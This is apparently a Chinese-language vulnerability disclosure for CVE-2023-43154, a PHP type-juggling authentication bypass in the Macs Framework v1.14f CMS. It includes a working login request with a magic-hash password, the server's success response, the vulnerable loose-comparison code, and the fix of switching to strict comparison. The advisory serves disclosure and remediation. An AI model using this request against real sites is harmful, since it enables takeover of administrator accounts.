CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
漏洞描述: isValidLogin() 函数中的松散比较导致 PHP 类型混淆漏洞,可被利用来绕过身份验证并接管管理员账户。
受影响参数: CMS 上用户的用户名和密码。
受影响产品: Macs Framework v1.14f - 内容管理系统
限制条件:
是否需要用户交互: 否
参考资料: https://github.com/ally-petitt/CVE-2023-43154-PoC
发现日期: 2023 年 9 月 7 日
报告者: Ally Petitt
在 URI /index.php/main/cms/login 使用受害者账户的用户名和任何会产生魔法哈希的密码登录,将导致身份验证绕过。
下面展示了一个示例登录。
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
状态码 200 以及重定向到 /index.php/home 均表明登录尝试成功。testadmin 的密码并非登录尝试中使用的密码(0gdVIdSQL8Cm),而是设置为 QNKCDZO。
当用户尝试登录时,其提供的密码会被哈希处理,并作为参数传递给 isValidLogin() 函数,该函数通过在对 /index.php/Main/CMS/login 发起 POST 请求时调用的初始 login() 函数间接调用。
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
isValidLogin() 函数始于文件 /Application/plugins/CMS/controllers/CMS.php 的第 83 行。由于使用了 2 个等号而不是 3 个,该函数存在类型混淆漏洞。
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
如 if 语句所示,用户名和密码通过松散比较进行检查,导致 PHP 类型混淆漏洞。当使用会产生魔法哈希(即在松散比较时被 PHP 解释为值 0 的哈希)的密码登录时,此漏洞可被利用。此类密码的列表可在此处找到:https://github.com/spaze/hashes。
要利用此漏洞,首先需要了解 $account['password'] 的存储格式。在上述 CMS.php 文件中第 730 行用于保存新用户账户的函数中,可以清楚地看到密码在存储前首先经过 encrypt 函数处理。
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
继续查看密码经过 encrypt 后调用的函数,使用了以下代码:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
根据上述代码,可以看出“加密”后的密码直接传递给了 MVC 框架中的 users 模型。最后,为了利用此漏洞,有必要了解 encrypt 函数的工作原理,因为其输出直接与用户输入进行比较。
private function encrypt( $string )
{
return md5($string);
}
encrypt 函数返回传入字符串的 MD5 哈希。这意味着当调用 login() 函数并传入用户提供的凭据时,输入的密码会被哈希处理,然后与受害者账户存储的 MD5 哈希进行比较。
其含义是,当使用会产生 PHP 冲突(即魔法哈希)的密码时,该密码在与同样符合魔法哈希格式的存储密码进行比较时,会被视为等效。因此,大量密码可用于认证并接管管理员账户,即使初始密码事先未知。
通过将 isValidLogin() 函数中的松散比较替换为严格比较(即将 == 替换为 ===),可缓解此漏洞。